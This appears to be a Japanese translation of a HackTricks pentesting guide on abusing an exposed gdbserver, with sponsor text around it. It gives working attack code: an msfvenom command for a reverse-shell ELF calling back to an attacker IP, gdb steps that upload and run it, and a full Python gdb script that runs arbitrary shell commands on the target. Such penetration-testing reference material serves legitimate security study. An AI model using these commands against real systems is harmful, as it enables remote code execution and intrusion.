# Pentesting Remote GdbServer
AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をチェック! HackTricksをサポートする他の方法: * **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 * [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。どこからでもフルペネトレーションテストを実行でき、リコンからレポーティングまでの20以上のツールと機能を備えています。私たちはペネトレーターを置き換えるものではありません - 私たちはカスタムツール、検出・エクスプロイトモジュールを開発して、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためのものです。 {% embed url="https://pentest-tools.com/" %} ## **基本情報** **gdbserver**は、他のプログラムをリモートでデバッグすることを可能にするコンピュータプログラムです。デバッグされるプログラムと同じシステム上で実行され、**GNU Debuggerが別のシステムから接続することを可能にします**。つまり、デバッグされる実行ファイルのみがターゲットシステム("ターゲット")に存在する必要があり、ソースコードとデバッグされるバイナリファイルのコピーは開発者のローカルコンピュータ("ホスト")に存在します。接続はTCPまたはシリアルラインのいずれかです。 任意のポートで**gdbserverをリッスンさせることができます**が、現時点では**nmapはサービスを認識することができません**。 ## 悪用 ### アップロードと実行 **elfバックドアをmsfvenomで簡単に作成し**、アップロードして実行することができます: ```bash # Trick shared by @B1n4rySh4d0w msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf chmod +x binary.elf gdb binary.elf # Set remote debuger target target extended-remote 10.10.10.11:1337 # Upload elf file remote put binary.elf binary.elf # Set remote executable file set remote exec-file /home/user/binary.elf # Execute reverse shell executable run # You should get your reverse-shell ``` ### 任意のコマンドを実行する デバッガに任意のコマンドを実行させる別の方法は、[**こちら**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target)から取得したpythonカスタムスクリプトを使用することです。 ```bash # Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server. target extended-remote 192.168.1.4:2345 # Load our custom gdb command `rcmd`. source ./remote-cmd.py # Change to a trusty binary and run it to load it set remote exec-file /bin/bash r # Run until a point where libc has been loaded on the remote process, e.g. start of main(). tb main r # Run the remote command, e.g. `ls`. rcmd ls ``` まず、**このスクリプトをローカルに作成します**: {% code title="remote-cmd.py" %} ```python #!/usr/bin/env python3 import gdb import re import traceback import uuid class RemoteCmd(gdb.Command): def __init__(self): self.addresses = {} self.tmp_file = f'/tmp/{uuid.uuid4().hex}' gdb.write(f"Using tmp output file: {self.tmp_file}.\n") gdb.execute("set detach-on-fork off") gdb.execute("set follow-fork-mode parent") gdb.execute("set max-value-size unlimited") gdb.execute("set pagination off") gdb.execute("set print elements 0") gdb.execute("set print repeats 0") super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER) def preload(self): for symbol in [ "close", "execl", "fork", "free", "lseek", "malloc", "open", "read", ]: self.load(symbol) def load(self, symbol): if symbol not in self.addresses: address_string = gdb.execute(f"info address {symbol}", to_string=True) match = re.match( f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE ) if match and len(match.groups()) > 0: self.addresses[symbol] = match.groups()[0] else: raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".') return self.addresses[symbol] def output(self): # From `fcntl-linux.h` O_RDONLY = 0 gdb.execute( f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})' ) # From `stdio.h` SEEK_SET = 0 SEEK_END = 2 gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})') gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})') if int(gdb.convenience_variable("len")) <= 0: gdb.write("No output was captured.") return gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)') gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)') gdb.execute('printf "%s\\n", (char*) $mem') gdb.execute(f'call (int){self.load("close")}($fd)') gdb.execute(f'call (int){self.load("free")}($mem)') def invoke(self, arg, from_tty): try: self.preload() is_auto_solib_add = gdb.parameter("auto-solib-add") gdb.execute("set auto-solib-add off") parent_inferior = gdb.selected_inferior() gdb.execute(f'set $child_pid = (int){self.load("fork")}()') child_pid = gdb.convenience_variable("child_pid") child_inferior = list( filter(lambda x: x.pid == child_pid, gdb.inferiors()) )[0] gdb.execute(f"inferior {child_inferior.num}") try: gdb.execute( f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)' ) except gdb.error as e: if ( "The program being debugged exited while in a function called from GDB" in str(e) ): pass else: raise e finally: gdb.execute(f"inferior {parent_inferior.num}") gdb.execute(f"remove-inferiors {child_inferior.num}") self.output() except Exception as e: gdb.write("".join(traceback.TracebackException.from_exception(e).format())) raise e finally: gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}') RemoteCmd() ``` ```markdown {% endcode %}
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。どこからでも完全なペネトレーションテストを実行できます。リコンからレポーティングまでの20以上のツールと機能があります。私たちはペネトレーターを置き換えるものではありません - 私たちはカスタムツール、検出・エクスプロイトモジュールを開発して、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すために努力しています。 {% embed url="https://pentest-tools.com/" %}
htARTE (HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ HackTricksをサポートする他の方法: * **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしてください。 * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加するか**、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローしてください**。 * [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。
```